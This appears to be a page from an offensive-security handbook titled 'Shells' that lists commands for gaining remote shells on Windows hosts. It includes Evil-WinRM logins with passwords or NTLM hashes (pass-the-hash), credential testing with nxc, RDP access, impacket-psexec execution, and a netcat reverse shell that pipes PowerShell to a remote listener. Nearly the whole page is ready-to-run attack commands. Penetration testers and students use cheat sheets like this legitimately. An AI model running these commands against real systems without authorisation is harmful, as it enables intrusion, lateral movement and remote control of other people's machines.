> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/windows-hacking/shells.md).

# Shells

## Evil-WinRM

{% embed url="<https://github.com/Hackplayers/evil-winrm>" %}

### Test with cme

```bash
nxc winrm -i IP/hostname -u $USERNAME -p $PASSWORD/-H $LM_HASH
```

### Port : 5985

```bash
evil-winrm -i IP/hostname -u $USERNAME -H $HASH

evil-winrm -i IP/hostname -u $USERNAME -p $PASSWORD
```

## RDP

### freerdp

```bash
freerdp /u:$user /p:$password /v:$ip
```

### remmina

```bash
remmina -c rdp://$user@$ip
```

## `Impacket-psexec`

PSEXEC like functionality example using RemComSvc

```bash
impacket-psexec '$user:$password@$ip'
psexec.py $user:$pass@$ip
```

## `netcat`

```bash
# Windows
# server : 
nc.exe $ip $port -e powershell

# client : 
nc -lvnp $port
```